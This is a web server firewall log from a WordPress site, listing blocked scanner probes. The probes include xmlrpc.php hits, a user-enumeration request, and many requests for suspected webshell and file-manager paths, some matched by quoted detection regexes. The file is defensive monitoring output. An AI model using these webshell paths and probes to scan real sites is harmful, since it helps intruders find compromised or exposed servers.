[Tue Mar 03 22:54:40.160499 2026] [:error] [pid 36897:tid 36922] [client 20.151.116.226:40448] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aab2MCZC69_8eM0Uouu39gAAANQ"]
[Wed Mar 04 00:09:25.123188 2026] [:error] [pid 62485:tid 62503] [client 49.51.253.26:53728] [client 49.51.253.26] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aacHtf9R7DZ1ENjPMXSMqAAAAc4"]
[Wed Mar 04 01:18:13.540334 2026] [:error] [pid 48405:tid 48584] [client 43.131.26.226:60740] [client 43.131.26.226] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aacX1RBIGeGp5MBz7gJvsAAAAA8"]
[Wed Mar 04 02:10:34.932611 2026] [:error] [pid 48807:tid 48810] [client 46.205.211.14:54613] [client 46.205.211.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.205.211.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aackGg9v35BN-51vqYaUXgAAAQE"]
[Wed Mar 04 02:24:58.391840 2026] [:error] [pid 27359:tid 27363] [client 46.205.211.14:41104] [client 46.205.211.14] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aacnel607jzBiSmoFjIjqwAAAMI"]
[Wed Mar 04 02:26:03.637341 2026] [:error] [pid 27359:tid 27372] [client 46.205.211.14:41107] [client 46.205.211.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.205.211.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aacnu1607jzBiSmoFjIkrgAAAMs"]
[Wed Mar 04 02:26:51.757104 2026] [:error] [pid 27359:tid 27380] [client 46.205.211.14:54531] [client 46.205.211.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.205.211.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aacn61607jzBiSmoFjIlagAAANM"]
[Wed Mar 04 02:28:04.754849 2026] [:error] [pid 48407:tid 48695] [client 46.205.211.14:54621] [client 46.205.211.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.205.211.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aacoND7Td6SiHn8fwfno8AAAAIU"]
[Wed Mar 04 02:29:01.232313 2026] [:error] [pid 48407:tid 48714] [client 46.205.211.14:39703] [client 46.205.211.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.205.211.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aacobT7Td6SiHn8fwfnpggAAAJc"]
[Wed Mar 04 02:30:15.714659 2026] [:error] [pid 48405:tid 48579] [client 20.151.116.226:40729] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aacotxBIGeGp5MBz7gKAHwAAAAo"]
[Wed Mar 04 02:30:16.559640 2026] [:error] [pid 48807:tid 48818] [client 20.151.116.226:65477] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aacouA9v35BN-51vqYafZgAAAQk"]
[Wed Mar 04 02:30:17.392436 2026] [:error] [pid 27359:tid 27368] [client 20.151.116.226:40724] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aacouV607jzBiSmoFjIn7AAAAMc"]
[Wed Mar 04 02:30:18.242927 2026] [:error] [pid 48807:tid 48812] [client 20.151.116.226:65508] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aacoug9v35BN-51vqYafagAAAQM"]
[Wed Mar 04 02:32:02.387955 2026] [:error] [pid 48807:tid 48820] [client 51.38.104.193:61007] [client 51.38.104.193] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/cidaas-pro-master/composer.json"] [unique_id "aacpIg9v35BN-51vqYagIAAAAQs"]
[Wed Mar 04 02:59:06.838612 2026] [:error] [pid 48407:tid 48715] [client 122.51.236.174:45556] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aacvej7Td6SiHn8fwfnzZgAAAJg"]
[Wed Mar 04 03:50:32.151780 2026] [:error] [pid 52572:tid 52611] [client 20.127.131.187:47259] [client 20.127.131.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aac7iOO58U4PQgPkphjHsAAAAEk"]
[Wed Mar 04 03:50:32.983538 2026] [:error] [pid 52571:tid 52590] [client 20.127.131.187:50489] [client 20.127.131.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aac7iNKS2rMwTg5zEPnKaAAAAA8"]
[Wed Mar 04 03:50:33.859894 2026] [:error] [pid 52571:tid 52578] [client 20.127.131.187:51362] [client 20.127.131.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aac7idKS2rMwTg5zEPnKawAAAAM"]
[Wed Mar 04 03:50:34.750801 2026] [:error] [pid 52573:tid 52636] [client 20.127.131.187:47247] [client 20.127.131.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aac7ilXvWaVbJ2HiJe-WWwAAAIc"]
[Wed Mar 04 05:49:52.673851 2026] [:error] [pid 54487:tid 54512] [client 188.80.230.253:65203] [client 188.80.230.253] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.80.230.253, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aadXgPN8030QMpFXddsm7gAAARc"]
[Wed Mar 04 05:55:51.513873 2026] [:error] [pid 18681:tid 18701] [client 20.151.116.226:40657] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko-new.php"] [unique_id "aadY56E_TuZYUBveWkWcogAAANI"]
[Wed Mar 04 05:55:52.344440 2026] [:error] [pid 54487:tid 54494] [client 20.151.116.226:40908] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko-new.php"] [unique_id "aadY6PN8030QMpFXddsqbQAAAQU"]
[Wed Mar 04 05:55:53.173233 2026] [:error] [pid 54487:tid 54492] [client 20.151.116.226:40650] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko-new.php"] [unique_id "aadY6fN8030QMpFXddsqcQAAAQM"]
[Wed Mar 04 05:55:54.000098 2026] [:error] [pid 18681:tid 18696] [client 20.151.116.226:40698] [client 20.151.116.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gecko-new.php"] [unique_id "aadY6aE_TuZYUBveWkWcpgAAAM0"]
[Wed Mar 04 06:02:16.440536 2026] [:error] [pid 18553:tid 18576] [client 43.159.128.247:57564] [client 43.159.128.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aadaaGbax1neh8d0AHaO1gAAAAw"]
[Wed Mar 04 07:02:07.938005 2026] [:error] [pid 18681:tid 18703] [client 91.217.249.34:45597] [client 91.217.249.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aadob6E_TuZYUBveWkWv2wAAANQ"]
[Wed Mar 04 07:02:14.238326 2026] [:error] [pid 18554:tid 18614] [client 91.217.249.55:47621] [client 91.217.249.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aadodp0fKmKeTIK7QS3IIwAAAFY"]
[Wed Mar 04 07:02:27.210279 2026] [:error] [pid 54487:tid 54508] [client 91.217.249.29:39851] [client 91.217.249.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aadog_N8030QMpFXddtNLAAAARM"]
[Wed Mar 04 07:02:33.913191 2026] [:error] [pid 18554:tid 18614] [client 91.217.249.46:57041] [client 91.217.249.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/index.php"] [unique_id "aadoiZ0fKmKeTIK7QS3IggAAAFY"]
[Wed Mar 04 07:02:45.589929 2026] [:error] [pid 18555:tid 18637] [client 91.217.249.33:41643] [client 91.217.249.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aadolTQeUDANiOsQ3Gd_aAAAAJI"]
[Wed Mar 04 07:02:48.571842 2026] [:error] [pid 18681:tid 18697] [client 91.217.249.32:28477] [client 91.217.249.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aadomKE_TuZYUBveWkWv9QAAAM4"]
[Wed Mar 04 07:02:49.117042 2026] [:error] [pid 54487:tid 54502] [client 91.217.249.46:28765] [client 91.217.249.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aadomfN8030QMpFXddtNNwAAAQ0"]
[Wed Mar 04 07:02:49.679260 2026] [:error] [pid 18554:tid 18596] [client 91.217.249.73:28691] [client 91.217.249.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aadomZ0fKmKeTIK7QS3IsQAAAEQ"]
[Wed Mar 04 07:02:50.214551 2026] [:error] [pid 18554:tid 18616] [client 91.217.249.28:35645] [client 91.217.249.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aadomp0fKmKeTIK7QS3IsgAAAFg"]
[Wed Mar 04 07:02:50.755880 2026] [:error] [pid 18554:tid 18599] [client 91.217.249.33:28617] [client 91.217.249.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aadomp0fKmKeTIK7QS3ItAAAAEc"]
[Wed Mar 04 07:02:52.664699 2026] [:error] [pid 18681:tid 18689] [client 91.217.249.58:31767] [client 91.217.249.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aadonKE_TuZYUBveWkWv-QAAAMY"]
[Wed Mar 04 07:02:55.700061 2026] [:error] [pid 18554:tid 18603] [client 91.217.249.60:52281] [client 91.217.249.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aadon50fKmKeTIK7QS3IwQAAAEs"]
[Wed Mar 04 07:03:00.577167 2026] [:error] [pid 18555:tid 18634] [client 91.217.249.32:52085] [client 91.217.249.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aadopDQeUDANiOsQ3Gd_bgAAAI8"]
[Wed Mar 04 07:03:02.745094 2026] [:error] [pid 54487:tid 54497] [client 91.217.249.27:38467] [client 91.217.249.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aadopvN8030QMpFXddtNQwAAAQg"]
[Wed Mar 04 07:03:05.357231 2026] [:error] [pid 18555:tid 18640] [client 91.217.249.36:43521] [client 91.217.249.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aadoqTQeUDANiOsQ3Gd_dAAAAJU"]
[Wed Mar 04 07:03:16.263101 2026] [:error] [pid 18553:tid 18586] [client 91.217.249.43:43537] [client 91.217.249.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aadotGbax1neh8d0AHaX6gAAABY"]
[Wed Mar 04 07:03:19.029733 2026] [:error] [pid 54487:tid 54496] [client 91.217.249.42:32553] [client 91.217.249.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aadot_N8030QMpFXddtNYAAAAQc"]
[Wed Mar 04 07:03:23.648158 2026] [:error] [pid 18555:tid 18621] [client 91.217.249.60:48579] [client 91.217.249.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/defaults.php"] [unique_id "aadouzQeUDANiOsQ3Gd_fwAAAII"]
[Wed Mar 04 07:03:26.467750 2026] [:error] [pid 54487:tid 54504] [client 91.217.249.41:41073] [client 91.217.249.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/index.php"] [unique_id "aadovvN8030QMpFXddtNaQAAAQ8"]
[Wed Mar 04 07:03:34.538148 2026] [:error] [pid 54487:tid 54511] [client 91.217.249.40:37863] [client 91.217.249.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aadoxvN8030QMpFXddtNdgAAARY"]
[Wed Mar 04 07:03:37.288132 2026] [:error] [pid 18554:tid 18610] [client 91.217.249.32:21507] [client 91.217.249.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aadoyZ0fKmKeTIK7QS3JUwAAAFI"]
[Wed Mar 04 07:03:39.942280 2026] [:error] [pid 54487:tid 54507] [client 91.217.249.41:37487] [client 91.217.249.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/index.php"] [unique_id "aadoy_N8030QMpFXddtNhwAAARI"]
[Wed Mar 04 07:03:40.565120 2026] [:error] [pid 18554:tid 18615] [client 91.217.249.40:37335] [client 91.217.249.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aadozJ0fKmKeTIK7QS3JaAAAAFc"]
[Wed Mar 04 07:03:41.273994 2026] [:error] [pid 54487:tid 54504] [client 91.217.249.64:38465] [client 91.217.249.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aadozfN8030QMpFXddtNiwAAAQ8"]
[Wed Mar 04 07:03:47.116310 2026] [:error] [pid 54487:tid 54503] [client 91.217.249.41:22539] [client 91.217.249.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/info.php"] [unique_id "aado0_N8030QMpFXddtNnQAAAQ4"]
[Wed Mar 04 07:03:47.766771 2026] [:error] [pid 18554:tid 18606] [client 91.217.249.39:28463] [client 91.217.249.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class.api.php"] [unique_id "aado050fKmKeTIK7QS3JeAAAAE4"]
